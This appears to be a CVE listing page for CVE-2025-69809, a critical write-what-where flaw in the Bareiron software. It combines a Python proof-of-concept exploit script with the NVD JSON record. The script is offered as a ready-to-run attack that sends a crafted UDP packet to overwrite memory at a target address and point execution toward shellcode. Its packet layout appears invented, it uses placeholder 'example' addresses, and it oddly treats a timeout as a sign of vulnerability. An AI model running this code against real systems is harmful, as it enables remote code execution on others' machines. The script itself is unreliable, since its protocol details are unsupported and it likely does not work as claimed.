CVE-2025-69809

# CVE-2025-69809 PoC - p2r3 Bareiron Write-What-Where Vulnerability # This PoC demonstrates the write-what-where condition in Bareiron import socket import struct def create_crafted_packet(target_addr, write_value): """ Create a malicious packet that exploits the write-what-where condition """ # Packet structure for Bareiron protocol packet = bytearray() # Header: packet type (0x01 = memory write request) packet.extend(struct.pack('B', 0x01)) # Target address to write to (8 bytes for 64-bit) packet.extend(struct.pack('<Q', target_addr)) # Value to write at target address (8 bytes for 64-bit) packet.extend(struct.pack('<Q', write_value)) # Malicious function pointer for code execution shellcode_addr = target_addr + 0x100 packet.extend(struct.pack('<Q', shellcode_addr)) return bytes(packet) def exploit(target_ip, target_port=5555): """ Send crafted packet to trigger the vulnerability """ # Target address: function pointer in GOT or similar target_addr = 0x0000000000401020 # Example: address to overwrite # Value to write: address of system() or shellcode write_value = 0x0000000000401500 # Example: shellcode address packet = create_crafted_packet(target_addr, write_value) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) try: print(f"[*] Sending crafted packet to {target_ip}:{target_port}") print(f"[*] Target address: 0x{target_addr:016x}") print(f"[*] Write value: 0x{write_value:016x}") sock.sendto(packet, (target_ip, target_port)) response = sock.recv(1024) print(f"[+] Received response: {response.hex()}") except socket.timeout: print("[-] No response received - target may be vulnerable") except Exception as e: print(f"[-] Error: {str(e)}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5555 exploit(target, port)

{"cve": {"id": "CVE-2025-69809", "sourceIdentifier": "[email protected]", "published": "2026-03-16T19:16:14.960", "lastModified": "2026-04-27T18:41:17.600", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A write-what-where condition in p2r3 Bareiron commit 8e4d40 allows unauthenticated attackers to write arbitrary values to memory, enabling arbitrary code execution via a crafted packet."}, {"lang": "es", "value": "Una condición de escritura-qué-dónde en el commit 8e4d40 de p2r3 Bareiron permite a atacantes no autenticados escribir valores arbitrarios en la memoria, lo que posibilita la ejecución de código arbitrario mediante un paquete manipulado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-123"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:p2r3:bareiron:2025-09-16:*:*:*:*:*:*:*", "matchCriteriaId": "44DB8E6D-705C-45AA-B014-C2911724CF92"}]}]}], "references": [{"url": "https://github.com/p2r3/bareiron", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/vmpr0be/bareiron-vr/blob/main/CVE-2025-69809.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}